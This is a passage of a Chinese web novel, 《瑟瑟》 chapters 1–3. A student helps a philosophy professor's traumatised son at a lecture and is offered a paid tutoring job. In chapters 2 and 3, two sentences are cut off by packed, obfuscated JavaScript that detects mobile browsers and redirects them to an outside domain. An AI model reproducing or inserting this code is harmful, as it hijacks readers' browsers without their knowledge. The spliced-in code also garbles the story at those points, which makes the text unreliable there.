《瑟瑟》 1. 瑟瑟01 贺矜善回想起自己和祁良安的第一次见面,简直是一次意外中的意外。 16年的7月的一个下午,贺矜善结束大三下期的所有考试,预备收拾行李回家的前一秒,室友应佳期在中午开班会的时候抽中了听哲学讲座的超级大奖,说是先回寝室喝口水,结果离讲座开始只有二十分钟——她拉肚子了。 “佳期?佳期你好了没?再不走我们真要迟到了。” “啊等一下……” “我马上——” 隔壁寝室一样中奖的王昕站在门口边看手机边满头大汗地催着,厕所里应佳期也满头大汗地回复着,冲水声已经传来一次又一次,厕所门也开了一次又一次,贺矜善正坐在床边收着行李,隐约察觉到旁边有一道殷切的视线正望向自己。 犹豫两秒,她叹了口气,放下衣服抬起头说:“要不我替她去吧。” “好嘞!”王昕感激地一口答应,拉上贺矜善就往二教阶梯教室跑。 十分钟后。 “汉语言2班?汉语言2班的人到了吗?” “到!到到到!” 王昕拉着贺矜善跑进教室,气喘吁吁地举着手看着正在前排点到的学生会的一个师妹。 “哦好。”师妹从名单上勾了班级,“那人来齐了就赶紧入座吧,讲座马上要开始了。” 教室里的已经空位剩得不多,王昕又不想坐第一排,于是和贺矜善一起往最后一排爬着。 “要不我们坐这里吧?那排凳子好像是坏的。”贺矜善走上去看了眼,回过头来小声对身后累得说话都费劲的王昕说了句。 “行……就坐……这儿。”王昕气喘吁吁地答应一声,把笔记本放桌子上,撑着桌面在倒数第二排里面一点的位置坐下,贺矜善在她旁边坐下。 刚坐没两秒,贺矜善就察觉到周围人似有若无地在往自己和王昕身上看。 她先是看了看自己和王昕,确定衣服上没沾上什么怪东西,然后又前后左右看了看,没发现自己和王昕旁边有什么占座的东西,应该不是占了谁的座吧? 不过也是奇怪,一般来说这种讲座最后几排都是很抢手的,最后一排凳子坏了的话,那现在自己和王昕所在的就应该算最后一排,但是不仅这一排没人坐,左边右边和前一排的左边右边都没人坐。 她视线慢慢落在自己座位前方的那个白T男生的身上,疑惑地皱了皱眉,又摇摇头移开了。 王昕看贺矜善一坐下来就左看看右看看,还皱眉摇头,碰了碰她的胳膊小声问了句:“你看什么呢?” 贺矜善看着她微笑一下,说话轻轻柔柔:“没什么,就是在想一会儿吃什么。” “你明天再走了吧?”王昕问,“一会儿讲座结束估计都没票了。” “嗯。”贺矜善点了点,说话依旧慢吞吞地,“明天走吧,不着急。” 王昕看着她,好一会儿,还是没忍住皱着眉问了句:“那个……矜善,你一直……是这种性格吗?就……说话、做事儿这些。” 她摸了摸后脑勺:“同学这么多年,我好像还从没见过你发火,也没见过你着急什么的。” 连说话快点的时候都没有。 王昕咽了咽。 贺矜善微笑着转过脸去低了低头,看着白色的笔记本温声说着:“应该是吧。” 一颗晶莹的汗珠沿着她额前的发丝滴落,她没再继续说话,王昕一直是个急性子,但也深知追问人家不礼貌,没再说话,转向一边边看小说边拿着笔记本扇风。 大约两分钟后,传说中的哲学教授祁胜与拎着个包出现在教室前方,和同学们简单打了个招呼之后,就开始了他的PPT讲座。 一切都挺正常的,有的同学听讲座,有的同学发呆,当然大部分还是在玩手机,没什么同学看她们了,贺矜善却莫名感觉教授的目光好像开始时不时往自己和王昕这边看了,但真要对视过去吧,又感觉教授似乎不是在看她们。 贺矜善觉得自己大概是最近复习太累了,没再继续关注外界,低头在笔记本上随便写写画画着,毕竟这个暑假过后,她就大四了,照导员的说法,该好好打算一下自己的将来了,毕业课题选什么,问卷调查怎么办,实习证明怎么办,这些都是即将落在她们头上的问题。 兜里的手机震动两下,贺矜善这才发现自己忘记关铃声,拿出来调了静音,点开消息,发现是男朋友谢俊延发来的。 -我也考完试了,你行李收拾好了吗? 贺矜善这才想起来昨晚和谢俊延约好今天考完试要一起去车站买票的。 -不好意思,我现在在听讲座,可能得五点才能结束。 -什么讲座? -一个哲学的讲座。 -我室友拉肚子了,我替她来的。 -哦。 -那我们今天还走吗? 贺矜善抿了抿唇。 -要不明天? -或者你先走,我都可以。 -明天走吧,我想和你一起。 -而且我们不是说好了暑假要带我去你家看看吗? 贺矜善轻轻弯了弯唇。 -好。 -那结束了给我发消息,我们去外面吃。 -嗯。 左边胳膊被王昕快速拍了拍,贺矜善转过去看她,发现她正一脸紧张地朝她往一边使着眼神。 贺矜善顺着她眼神的方向看过去,刚才还在讲台上的祁教授竟不知什么时候已经走到了前两排的位置。 虽然已经上大学了,虽然平常上课大部分时间也是能玩手机的,虽然这只是个讲座,对她的成绩不会有半点影响,但贺矜善还是条件反射地将手机收进了桌斗里。 低下头没敢有任何对视。 但很快,她发现事情好像和她想的有点不一样。 刚才和现在,教授一直在看的,似乎都是这位坐在她正前方的男生。 她先是余光看见一抹白影一直在抖动,但和班里那些坐着抖腿牵连到上半身的抖不一样,这种抖动有点不正常,急促,无规律,且时缓时急。 贺矜善觉得不对劲,抬起视线一看,前面的男生非常紧绷地坐在座位上,后背的白T被汗水浸透,整个身体都在持续着不规律的抖动,他似乎是在尝试着深呼吸调整自己,但呼吸声特别大,吸引了周围两排同学的注意。 教授讲课的声音忽然停了,贺矜善抬头看去,见他皱着眉满眼着急地走到前面男生的边上,伸手摸了摸他的后背,弯腰下来耐心询问着:“怎么了?” 男生则抬起抖动的手摸了摸头发,很用力地点了点头,又摇了摇,音量不大,但贺矜善能听清:“爸……我……我试卷找不到了……” 他沉重地呼吸着,情绪几度破碎:“我试卷找不到了,怎么会……怎么会找不到?” 教授停下的时间已经有点不正常,前排的同学也反应过来,都往后排看了过来,一时间整个教室都充斥着小声的议论声。 教授先是起身左右看了看,然后还是俯身下来,虽然表情看上去着急异常,但语气还是一如既往温和:“没事儿,找不到就算了。” “不行……”男生的声音已经染上哭腔,贺矜善看见他痛苦地抓了一把自己的头发,“一定要找到的……一定要……你能不能……我……” “卧槽……”旁边王昕用气声吐槽一声,戳了戳贺矜善,示意她要不要往旁边挪一挪,离这个人远点儿。 贺矜善也是现在才知道为什么这个人的前后左右都没坐人,为什么自己和王昕一坐下来就被那么多人看,为什么刚才自己总感觉教授一直在往她们这边看。 “爸……”男生侧坐在座位上埋头翻着包,呼吸也开始断断续续地。 教授满眼心疼又为难地皱着眉,头上那些不合年纪的白发在此刻显得格外刺眼。 贺矜善捏了捏拳头,站起身来,王昕以为她要往旁边挪,跟着她弓身站起来,刚往旁边挪动脚步,发现她竟然往前排去了。 “喂!”王昕脸皱成一团小声喊了句,不小心和教授对视了一眼,然后无奈坐了回去。 “我来帮你找吧?”贺矜善走过去蹲下,对着那个男生温柔地说了句。 男生先是愣住,持续了两三秒没动,然后很用力地点了下头。 教授也很是惊讶,看到男生的反应,才答应下来:“那谢谢你了这位同学。” 贺矜善摇头对着教授笑笑:“没事的。” “良安快往里面坐一坐,姐姐坐着好找些。”教授对男生说。 男生仍是没抬头,但是贺 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他包里卷子没几张,练习册倒是有五本的样子,贺矜善把卷子都找了一遍,没发现有数学试卷,在姓名栏瞥见他的名字:祁良安。 学校是云霞三中,但班级栏却是空的。 男生已经没有刚才抖得那样厉害,并且在以一种明显的趋势趋于平静,贺矜善试着开口和他说话:“你叫良安对吗?” 她突然这么问了句,男生整个人愣住,两秒,用力点头。 贺矜善再次朝他笑笑:“你别紧张,我没别的意思。” “书包里的试卷都找过了,没有的话可能是夹在练习册里了,我们把练习册拿出来再挨着找找可以吗?” 男生两只手依然攥着书包另外一半袋口,点了点头:“嗯。” “好。”贺矜善笑着应了句,开始一本一本地把练习册拿出来翻找着。 这些练习册都是高考总教辅,贺矜善猜测他应该是高三的学生,但他练习册做得很奇怪,不是挨着做,也不是跳着一部分一部分地做完,甚至没有一页一页地做完,而是前一页三道题、后一页五道题、后十页一道题、后三页又全部做完……这样毫无规律可言的、堪称混乱的做题痕迹。 他的字迹虽然算不上清秀,但大小勉强匀称,整体看上去也不丑,就是横撇竖钩都写得十分刻意,一笔一划也很用力,前一页写过字,后面四五页都还能看出印子,刚刚只是名字都还好,现在大题里一整片一整片这样虽不规整但却很守旧的文字堆积在一起,看着就难捱。 贺矜善不由得皱了皱眉,又很快调整了继续翻找着,动作很轻,她不想让他误以为自己是找得不耐烦,也不想让他发现自己是因为看了他的字莫名觉得压抑。 又过了一会儿,贺矜善终于在第三本练习册里找到了祁良安说的那张数学月考三。 是一张做了一半的试卷,被折了两下塞进了政治教辅里。 她放松地深呼吸一下,微笑着把试卷递给祁良安看:“找到了。” 祁良安先是看着试卷头目愣了两秒,然后才伸出瘦得青筋毕现的手将卷子接了过去,全程没有看她。 “谢谢。” 他看着桌面很是僵硬地说了一句,依旧很轻。 贺矜善笑着,温柔回答:“不用谢。” 她回过头,没有看见王昕,但还是坐回了原来的位置。 一直到讲座结束,贺矜善收拾东西起身,王昕才赶紧跟过来,挽着她的手往教室后门离开,凑她耳边悄声说着:“你胆子真大,刚才吓我一跳呢。” 贺矜善由着她挽着,看着她笑笑。 “我刚才去别人那儿打听过了。”王昕挽着她走着,“那个男的是教授的儿子,具体发生什么事了不知道,反正说是心理有问题,都休学一年了。” “不过平时好像也不怎么出门,祁教授上课也不怎么带他,不知道今天怎么就带上了,还闹了这么一出。”王昕说到这里笑着蹭了蹭贺矜善,“不过你还真是心好,本来就是来帮佳期听讲座的,不仅不敷衍,来了都还主动去帮人,而且还是那种看上去就不太正常的人,还真是应了这名字,又矜贵又善良。” 贺矜善看着她笑笑:“谢谢你。” “嗐!不用谢!”王昕很是爽朗。 2. 瑟瑟02 贺矜善出了教学楼给谢俊延打了电话,两人约在校外的一家中餐馆吃饭,点好菜之后,谢俊延去店门口打了两碗豆浆过来。 “没有加糖。”谢俊延递了一碗在贺矜善桌前,喝了一口自己的,笑着坐下来,“还不错,估计是现打的。” “嗯。”贺矜善微笑应了一声,低头抿了一口。 谢俊延看着她笑笑,抬手给她拨了拨额前的发:“明天早上我来你宿舍楼下等你吧,八点能收拾完吗?” “能。”贺矜善点点头,“刚才出来的时候就剩得不多了,晚上回去就能收好。” “行。”谢俊延笑笑。 这家餐馆上菜速度还行,一会儿的功夫,两道菜就上来了。 “赶紧吃。”谢俊延往贺矜善碗里夹了糯米排骨,“这个趁热吃才好吃。” “嗯。”贺矜善仍是笑着,点了点头开始吃着。 谢俊延看着她笑笑,也埋头吃了起来。 贺矜善吃饭时不怎么说话,谢俊延一开始话还比较多,但贺矜善说吃饭的时候就要好好吃,边吃边聊对胃不好,后面他也慢慢改掉了吃饭说话的习惯,等吃完了之后再慢慢聊。 “我们去操场逛逛吧?”谢俊延买了单,问贺矜善。 “好啊。”贺矜善微笑着说。 谢俊延牵着她走着,有一搭没一搭地说着:“矜善,你想好在哪儿实习了吗?我们导员说大四上期基本没什么课了,都是忙毕业论文、实习什么的。” 贺矜善跟着他脚步走着:“应该就在云霞找吧?” 谢俊延听她这么说笑起来:“我也想在云霞找!” “我问过导员,导员说现在计算机专业还算吃香,云霞近几年有很多新出的游戏公司,这些都需要技术人才,在云霞实习的话,寒假还可以申请住校,能节约好一笔生活费。” “而且……”谢俊延低头下来对上贺矜善的眼神,逗得她红着脸错开视线,才笑笑继续说,“而且上周末的时候我和刘凯他们几个市里去问过,有家叫合刊的新游戏公司正好要招实习生,说是等公司装修好了到时候会联系我们。” “真的?”贺矜善惊喜地抬头,“那这么说你实习的事差不多已经算解决了?” 谢俊延拉着她的手摸了摸,微笑看着她点头:“嗯。” “真好。”贺矜善笑着。 “你呢?”谢俊延说,“有了解过相关信息吗?” “我这个专业……”贺矜善错开视线叹了口气,“如果能进文学相关的公司最好,但是佳期说云霞的文娱发展不太行,基本没什么文学相关的公司,别的公司基本就只有文员岗位可能会需要,但这个竞争又特别大,而且很多都要经验,一般不会要实习生,如果到时候真的找不到,我应该就只能拿着之前考的教师资格证去碰碰运气了。” 谢俊延低头看她笑笑,说:“等九月开学,我让我室友他们也帮着问问你实习的事儿。” 他抬手在她鼻梁上轻轻碰了碰:“别担心,有我在呢。” 贺矜善点了点:“嗯!” - 第二天一早就要去车站,两个人也没多耽误时间,差不多八点,贺矜善就被谢俊延送回了宿舍,在宿舍楼下和其他情侣一样黏糊又羞赧地吻别。 刚进宿舍门,拉了一下午肚子被迫躺床的应佳期就掀开床帘对贺矜善表示感谢:“矜善,今天谢谢你了。” “你桌上有我托人买的蛋糕,记得吃啊。”她有气无力地指了指贺矜善的桌面,然后又躺了回去。 贺矜善刚想说不用了,应佳期的电话忽然响了起来。 “谁啊?”应佳期吐槽一句,有点烦躁地接了起来。 “班长?怎么了?” “哦王昕打不通……不是那你打给我干嘛?” “哦哦听你说完。” “讲座?” 她撑着床坐起来,视线落在贺矜善身上,皱着眉从震惊到疑惑到不可置信。 “不是……班长你等等啊,今天和王昕一起去的人不是我,是矜善。” 然后她把手机递给贺矜善:“矜善,班长有事儿问你。” “哦好。”贺矜善赶紧走过去接电话,“班长,我是贺矜善。” “矜善,刚才导员联系我说下午的那个哲学讲座,有人帮了那个教授的儿子,是咱们班的人吗?你还是王昕啊?” “是咱们班的。”贺矜善有点犹豫,皱着眉问着,“是我,是出什么事了吗?” “这个……我不太清楚,但你现在去下导员办公室吧,说是有事找。” “现在就去啊,别耽搁了。” 贺矜善点点头:“好,我马上去。” “嗯。” 电话被挂断,贺矜善皱着眉把手机还给应佳期,寝室里其他人也都凑过来。 “怎么了?出什么事了吗?”应佳期问了句。 贺矜善摇了摇头:“我也不知道,班长让我赶紧去办公室找一下导员。” “你下午是对那个人干什么了吗?”应佳期问,“别是惹到什么事了吧?” “你先去看看吧,别自己吓自己。”赵南说了句。 “是啊,先看看导员怎么说。”沈辞也说了句。 “好,我现在就去。”贺矜善点了点,转身离开。 大概十分钟后,贺矜善敲响导员办公室的门。 “矜善?是你啊?”王朝雪看到门口站着的贺矜善,从座位上起身,走过去拉着她往走廊走去。 “来我问你。”王朝雪把她拉到边上,“今天下午那个哲学讲座是你去的吧?” “嗯。”贺矜善点点头。 “那也是你帮了祁教授的儿子是吗?”她又问,一脸紧张。 贺矜善也不由跟着紧张起来:“是我,是出什么事了吗?” 王朝雪拧着眉点了点,拿出一张名片递给贺矜善:“是这样的,刚才的时候祁教授联系到我,说是向学生会的同学打听到下午帮他儿子的那个女生是我们班上的,找我要联系方式,具体什么事没说,但我估计,他应该也不至于会为难你一个学生。” “我作为导员,肯定要先核对一下是不是我们班的人,既然是的话……”她看着贺矜善,“名片已经给你了,你有空就联系他一下吧,有任何问题及时和我说啊。” “行了,就这么个事儿,老师还有事要忙,你回宿舍吧。”王朝雪交代完,转身进了办公室。 贺矜善拿着那张名片往楼下走着,犹豫一会儿,还是觉得与其在这里害怕,不如直接联系问个清楚来得好一些。 她照着名片上的电话拨了过去,一段轻音乐之后,对面的人接了起来:“喂?” 听声音确实有点像下午讲座的那个教授,贺矜善一只手紧紧捏着衣角,努力让自己放松下来:“祁教授您好,我是汉语言2班的贺矜善,下午帮着您孩子找试卷的那个。” 她咽了咽,紧张到心跳声大过说话声:“请问……是出什么事了吗?” “哦你好你好!”教授似乎是听出了她的紧张,笑着安抚说,“贺同学你别紧张,没有出什么事。” 贺矜善听他这么说,勉强放松了一些,但攥着衣角的手还是捏着。 “是这样的。”不知是不是错觉,贺矜善竟然觉得教授听上去似乎也有些难为情,“贺同学,下午你帮助我儿子的事,我很感激你,而且我儿子……他可能……” “或者你现在有空吗?方便见面聊聊吗?”教授忽然这么问了句,“我儿子的私事,在电话里一时也说不清楚。” 贺矜善看了看时间,有些为难,但如果推到明天,肯定也来不及。 她犹豫一下,还是说:“就在校内可以吗?我怕一会儿我赶不上门禁时间。” “可以可以,当然可以。”教授听上去很是庆幸,“那在我办公室怎么样?二教402,我尽量长话短说,不会占用你过多时间。” “可以。”贺矜善答应下来,还是觉得教授最后那句话让她有些受宠若惊,又补充一句,“占用时间也没关系的。” “那我现在马上过去,大概五分钟。”教授说。 “好,我现在也过去。”贺矜善答应说。 “好,一会儿见!” “一会儿见。” - 二教402办公室内,祁胜与先安排贺矜善坐下,然后给她倒了杯茶,这才坐下来说正经事。 “贺同学你好,你现在大三,九月开学之后就是大四了对吗?”祁胜与看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831965|175606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着贺矜善友善地开口问着。 贺矜善不明白他这么问的用意,但还是顺着他的问题回答:“嗯。” “那你找到心仪的工作了吗?”祁胜与问着,“或者说,明年有什么打算?” 贺矜善疑惑地拧了拧眉:“我……” “是这样。”祁胜与低头咽了咽,年过半百的这么一个受人敬重的哲学教授,此刻在贺矜善面前却表现得格外卑微,“我儿子……他今年十八,原本是六月份应该参加高考的。” 他说到这里顿了顿,抬头和贺矜善对视一眼,嘴角挂着礼貌但苦涩的微笑:“但是去年十月的时候,他妈妈去世了,刚好还是因为和他吵架之后,出去找他才出的车祸,良安他……就受了点刺激,留下了心理阴影。” “他平时自己生活可以自理,也没有什么别的问题,但就是很畏惧人群,在人多、嘈杂的环境会特别紧张,而且情绪会一下子变得特别脆弱,就像下午你看见的那样,因为一点点小事就直接崩溃得受不了。” “他目前已经休学快一年了……他也想参加高考的,但是他……” 祁胜与说着说着又缓了缓,贺矜善还是没有很懂他的意思,试探着问了句:“祁教授,您是想让我做什么吗?” 祁胜与点了点头,礼貌却疲惫地笑了笑:“贺同学,你是良安生病这么久以来,第一个愿意、且能够接受的陌生人,良安的主治医生说,他这种情况最好是能多和朋友家人交流,多出去玩一玩,才有可能慢慢去摆脱这种紧绷的状态,但自从良安出事以后,他的朋友就都不怎么和他来往了,家里他妈妈走了,除去一看到就会触发反应的舅舅舅妈,就剩一个我,但我不是一个好父亲,从小和他关系就没有特别亲近,出事之后,除了努力去做一些帮不到点上的事,什么也做不了。” “但是就在刚才,吃晚饭的时候,他这么久以来第一次开口问我,说能不能联系上你。”祁胜与看着贺矜善说着,“说如果可以的话,想让你做他的家教老师,帮他复习高考,只用一年就可以,从这个暑假到明年六月,不会耽误你太多时间。” “家教老师?复习高考?”贺矜善很是惊讶,“可我并不是师范专业的,就算有一个教师资格证,我也只是……初中语文,怎么能帮他复习高考呢?这样会耽误他的。” “不会的贺同学。”祁胜与抬手摆了摆,微笑着说,“良安他是在高三上期才休的学,高中的知识其实是学完了的,不用你怎么专业地去教学,只用帮着安排一下作业,帮着他订正一下,而且……” “他是因为心理原因,才没有办法去学校进行系统的学习和考试的,我也试着给他找过家教。”祁胜与又为难地摇了摇头,“但他没办法在那些老师面前放松下来,就那么两个人面对面相处都做不到,连家里做饭的阿姨和他待在同一个空间都会觉得无比紧张,呼吸都变得困难,所以渐渐地,我不敢再找老师,也没有老师敢来,连阿姨都是做了饭就赶紧离开。” “但是贺同学,你不一样。”祁胜与看着她,眼神里藏着有期待,“良安愿意主动和你接触,下午和你相处的时候,他的情绪问题不但没有更加激烈,反而在慢慢变平缓,所以我真的,我恳请你,来做我儿子祁良安的家教,你不用多么专业地教学,他自己有学习基础,只需要你试着和他接触,也不用二十四小时,就沿用家教的上班模式,像下午你帮他找试卷那样,和他正常相处就可以,你也不用有压力,不用觉得你来了就必须让他考上大学,必须让他的情况有所改善,正常对待就可以,有的事情就是看缘分,能就是能,不能……也就算了。” 祁胜与说到这里顿了顿,虽然有些丢脸,但他还是说了:“贺同学,今晚我不是学校的教授,我只是祁良安的父亲,只要你愿意答应帮我,条件你随便提,我会尽量满足你的需求。” “下一学年你大四,你的毕业课题、实习证明和后续的工作,我都可以帮你处理,我每个月还可以给你五万块的工资,或者你想要多少,我会尽量满足。” “我……” “你不用马上拒绝我。”祁胜与说,“站在过来人的角度,这件事对你来说其实是利大于弊,我还是希望你能回去好好考虑一下,你有我的联系方式,想好了,随时可以给我打电话。” 3. 瑟瑟03 回寝室的路上,贺矜善一直在想刚才祁胜与说的话。 做家教这件事她并不陌生,大一大二为了多挣一些生活费,她在校外接过一些,但几乎都是小学生和初中生,高中生…… 而且这个高中生还是祁良安。 贺矜善想起下午时他的状态,难免还是有点担心,担心万一自己胜任不了,不仅辜负了祁胜与的信任,还让祁良安更严重可怎么办? 祁胜与说祁良安平常生活没什么问题,只有接触到人群和刺激的时候才会表现成那样,而且下午她和他接触的时候,祁良安的情绪确实是慢慢在变平和…… 贺矜善拧着眉呼出口气,抬头看了看没什么星星的夜空,洁白的月光倒是很澄清。 贺矜善继续往寝室走着,还是有点拿不准主意。 她站在原地等了等,给谢俊延打了个电话。 “矜善?怎么啦?”谢俊延的声音从听筒传来,贺矜善下意识跟着放松了些。 她一边往前踱步,一边说着:“俊延,我想问你一个问题。” “你问。” “如果……现在有一份家教工作。”她咽了咽,“需要你去辅导一个……” 她又斟酌了一下,说:“需要你去帮助一个比较内敛的小朋友准备高考,但是这个小朋友,有点……社恐?很严重的那种社恐,你会去吗?” “小朋友?高考?”谢俊延越听越糊涂,“是那种少年班的吗?” “有人让你去吗?”他很是意外,“可是你不是师范专业啊,有一个教资也是初中语文,怎么会让你去辅导高考?” 贺矜善拧着眉摸了摸头,挨个儿回答他的问题:“不是少年班,十八岁的一个弟弟,比我小差不多四岁,应该是算小朋友吧,让我去辅导,主要是因为那个弟弟很怕生。” “怕生才叫你?那你们很熟?”谢俊延问,“我认识吗?” 他听着有点着急:“矜善,要不你直接跟我说怎么回事儿吧,我现在整个人都是蒙的。” 贺矜善犹豫几秒,抿着唇一边说一边往前走着:“就是我下午不是去听了个讲座吗?” “当时我座位前面坐了个弟弟,祁教授讲的时候,那个弟弟情绪忽然就有点不对劲,整个人都在发抖,祁教授过来之后,他说是试卷找不到了,想找到试卷,但是教授还在讲讲座,一教室人都等着,不敢耽搁太久,但是那个弟弟情绪失控得很厉害,我就去帮他了。” “他失控你还去帮他吗?”谢俊延又有点着急,“然后呢?出什么事了吗?他怎么你了?” “没有。”贺矜善说,“他情绪失控只是自己难受的那种,没有暴力倾向,我过去的时候他还很紧张,一直很胆怯的样子,但他又是愿意接受我的帮助的,后面我帮他找到卷子,他情绪慢慢就稳定下来了。” “再然后呢?”谢俊延问,“怎么?他就想让你帮他准备高考?” “算是吧。”贺矜善往前继续走着,“是祁教授出面和我说的,说那个弟弟想让我做家教,还说这是他情绪出问题以来,第一次愿意主动和人接触,他已经休学一年了,之前的家教都没有办法正常相处,连家里的阿姨和他待在一起都受不了,祁教授也是没办法,才向我开的口。” “可是你……”谢俊延听上去有点为难,叹了口气,没说出来。 贺矜善低下头,看着鞋尖:“我知道我没那个能力,祁教授说那个弟弟高中的知识已经学完了,不能高考主要还是因为心理问题,但医生说这个心理问题最好的解决办法是和人交流相处,所以祁教授让我去做家教,主要也是出于这个原因,我打电话,也是想问问你。” “你觉得……我可以吗?” 谢俊延那边又叹了口气,似乎是有点为难:“那万一要是处理不好,比如说没考上、心理阴影没走出来,或者变得更差了,那个教授会让你负责吗?” “他说不会。”贺矜善说,“他就是怕我不愿意,还说如果我愿意帮他,可以每个月给我开五万的工资,还可以帮我弄毕业课题、实习和毕业后的工作也可以给我安排。” “连实习和工作也可以安排吗?”谢俊延问了句。 “对。”贺矜善说。 “那工作时间呢?那个弟弟现在是休学,你是几天去一次?”谢俊延问。 贺矜善继续走着:“这个我还没有具体问,不过祁教授说了不用二十四小时,也不用每天,但是如果是想要带他走出心理阴影,最好还是去得频繁好一点吧?” 谢俊延算了算:“那这样的话还挺划算的啊,高工资、能辅导毕业课题、还能解决实习和工作,最重要的是只要去就可以,都不用有效果,完全可以去啊。” 贺矜善秀眉轻拧着:“可是我觉得别人都这么真诚了,万一我做不好——” “别想那么多了矜善。”谢俊延说着,“我们下学年就大四了,即将步入社会了,有的事情就是要多为自己的利益考虑的。” 他轻轻笑起来:“不是每个人都像你这样善良的,你觉得别人真诚,但那些好处也不是白给你的啊。” 贺矜善张了张嘴,没有接上话。 “那个教授让你什么时候回话啊?”谢俊延问。 贺矜善往前走了几步:“说是想清楚了都可以。” “哦……”谢俊延应了一声,大概是听出她情绪有些低落,柔和了语气又说,“矜善,你是不是生我气了?觉得我太……功利?” “没有啊,一点点而已。”贺矜善说了句,“当时那个教授也是这么和我说的。” 她又呼出口气,接着说:“我其实不是在烦这些,我知道祁教授提的这些条件对目前我的处境来说,是特别丰厚的报酬,只要我去,甚至连未来的工作都不用愁了。” 谢俊延安静听她说着,应了一句:“嗯。” “但我就是……” 贺矜善换了只手拿电话,刚想说话,听见谢俊延说:“矜善,其实我觉得,在这么大一个诱人的好处面前,你不仅没有见钱眼开,居然还能因为担心自己无法治愈那个弟弟的心理问题、甚至殃及他的未来而纠结,就凭这份心,你就已经没有辜负他们了。” “矜善,你真的是个很好的人,这份工作,哪怕你的知识储备不够,仅凭人品道德,也足够胜任。” - 回寝室之后几个室友凑过来问到底什么事,贺矜善想着教授都是私下找她说的,就没有说教授请她做家教的事,只说问了下下午的情况,安抚了一下几个室友或好奇或担心的情绪,才洗漱上床。 但她有点睡不着。 “爸……我……我试卷找不到了……” “一定要找到的……一定要……你能不能……我……” …… “贺同学,下午你帮助我儿子的事,我很感激你,而且我儿子……他可能……” “那在我办公室怎么样?二教402,我尽量长话短说,不会占用你过多时间。” “站在过来人的角度,这件事对你来说其实是利大于弊,我还是希望你能回去好好考虑一下,你有我的联系方式,想好了,随时可以给我打电话。” “他目前已经休学快一年了……他也想参加高考的,但是他……” “但是贺同学,你不一样,良安愿意主动和你接触,下午和你相处的时候,他的情绪问题不但没有更加激烈,反而在慢慢变平缓。” “所以我真的,我恳请你,来做我儿子祁良安的家教……有的事情就是看缘分,能就是能,不能……也就算了。” “今晚我不是学校的教授,我只是祁良安的父亲,只要你愿意答应帮我,条件你随便提,我会尽量满足你的需求。” …… 下午祁良安痛苦、崩溃、啜泣和胆怯的模样在她眼前一幕幕浮现,祁胜与的也在她脑中一遍遍回放,贺矜善翻了个身平躺着,看着白色的蚊帐拧着眉叹了口气。 “矜善,你真的是个很好的人,这份工作,哪怕你的知识储备不够,仅凭人品道德,也足够胜任。” 但愿,她真的能不负众望吧。 贺矜善决定要应下这份工作,谢俊延也没有一大早就离校,他先是陪她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831966|175606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向学校提交了留校申请,然后又和她一起去见了祁胜与,了解了祁良安的大致情况,本来他还想见一见祁良安,但教授说不太方便,只是告知了他祁良安的年岁、学习情况,并给他看了眼照片。 据祁胜与所说,照片是前不久拍的,一棵郁郁葱葱的树下,站着一个很清瘦、很内敛、但第一眼就觉得气质出众的少年,顶着一头长到快要遮住眼睛的黑发,双手局促地捏着蓝色短袖衬衫的衣角,微微低垂着脸,嘴唇绷直着看着镜头。 谢俊延看过照片后心里总觉得哪里不太对,但和祁胜与交流的时候,他说的信息和昨晚贺矜善对他说的那些相差不大,虽然一时半会儿还弄不清楚到底是哪里有问题,但能够确定的是,贺矜善没有被骗,祁胜与也确实是诚心诚意想要聘请她。 双方能想到的疑问都在上午的这次会面得到解决,做家教的事就这么敲定,祁胜与怕谢俊延还不放心,还特地打印了一张合同给贺矜善,确保自己答应她的事一定会做到,贺矜善也拿出自己的诚意,向他保证无论多么困难,她都会认真陪着祁良安一直到明年高考。 谢俊延后半程心里莫名有点不是滋味,一直在旁边干坐着,他也说不清到底是祁胜与的合同让他觉得不对、还是贺矜善保证的话让他觉得不对,又或者……是从看见祁良安的照片那一刻,他就有点慌了。 这个叫祁良安的弟弟,长得实在是太好看了。 这一切忙完,贺矜善拉着谢俊延一起去食堂吃饭,之前五月份谢俊延过生日的时候,他妈妈就打电话来说过很想他,贺矜善当时正在旁边给蛋糕插蜡烛,听见他妈妈还差点哭了,所以即便是谢俊延对着她又撒娇又示好想再多留几天,她也还是说下午就送他去车站。 “矜善。”谢俊延吃饭的时候忽然又说了句,“要不然我也留下来陪你?” 贺矜善叹了口气抬起头:“真的不用。” 她拿着筷子朝谢俊延弯唇笑:“俊延,我都二十二了,明年就要毕业了,这些事可以自己处理的。” “而且工作的地方就在学校教授的家里。”贺矜善说,“我真的是安全的,你真的不用这么担心我,阿姨不是一直说很想你吗?你还是早点回去吧。” 谢俊延叹了口气点了点头,拿筷子夹了个餐盘里的菜,刚要送入口中,又放了下来。 贺矜善疑惑地看着他。 “矜善。”谢俊延开口说着,好看的眉轻拧着,“那我今年……还能去你家吗?” “哦。”贺矜善笑着看着他点了点,“当然可以啊。” 她停下来算了算时间:“暑假差不多有两个月,祁教授应该会给我放假的吧,等我放假了,我就给你打电话,然后就带你回我家。” “我家暑假可多吃的玩儿的了。”贺矜善说到这里高兴起来,温柔的眼睛亮晶晶的,“你是北方人,肯定有很多蔬菜水果都没见过。” 谢俊延嘴角跟着扬了扬,笑意却不达眼底:“嗯。” 贺矜善总觉得他似乎有哪里不对劲,又试着问了几句,谢俊延都顾左右而言他,她也没再继续追问。 